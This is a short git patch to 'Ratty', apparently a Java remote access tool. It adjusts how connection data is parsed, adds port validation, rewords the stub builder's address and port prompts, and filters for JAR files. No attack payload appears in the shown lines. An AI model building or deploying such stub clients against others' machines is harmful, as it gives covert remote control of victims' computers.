From c0579d404707180c5c46fcb79a11d5df7854a7cd Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sat, 6 Feb 2016 19:33:31 +0100 Subject: [PATCH] Minor changes Fixes --- Ratty/src/de/sogomn/rat/Ratty.java | 4 ++-- Ratty/src/de/sogomn/rat/builder/StubBuilder.java | 9 +++++++-- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index c3f5056..94237a0 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -40,7 +40,7 @@ public final class Ratty { private static void readConnectionData() { final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); - if (lines.length >= 4) { + if (lines.length >= 3) { final String addressString = lines[0].trim(); final String portString = lines[1].trim(); final String clientString = lines[2].trim(); @@ -71,7 +71,7 @@ public final class Ratty { try { final int port = Integer.parseInt(input); - if (port < 0) { + if (port < 0 || port > 65535) { return -1; } diff --git a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java index 3198890..ea06e70 100644 --- a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java +++ b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java @@ -13,15 +13,19 @@ import java.nio.file.StandardCopyOption; import javax.swing.JFileChooser; import javax.swing.JOptionPane; +import javax.swing.filechooser.FileNameExtensionFilter; import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.Ratty; +/* + * This class is kinda hardcoded. + */ public final class StubBuilder { - private static final String ADDRESS_MESSAGE = "Address?"; - private static final String PORT_MESSAGE = "Port?"; + private static final String ADDRESS_MESSAGE = "Which address should the client connect to?"; + private static final String PORT_MESSAGE = "Which port?"; private static final String FILE_NAME = "/connection_data.txt"; @@ -35,6 +39,7 @@ public final class StubBuilder { final File currentDirectory = new File(currentDirectoryPath); fileChooser.setCurrentDirectory(currentDirectory); + fileChooser.setFileFilter(new FileNameExtensionFilter("*.jar", "JAR")); final int input = open ? fileChooser.showOpenDialog(null) : fileChooser.showSaveDialog(null);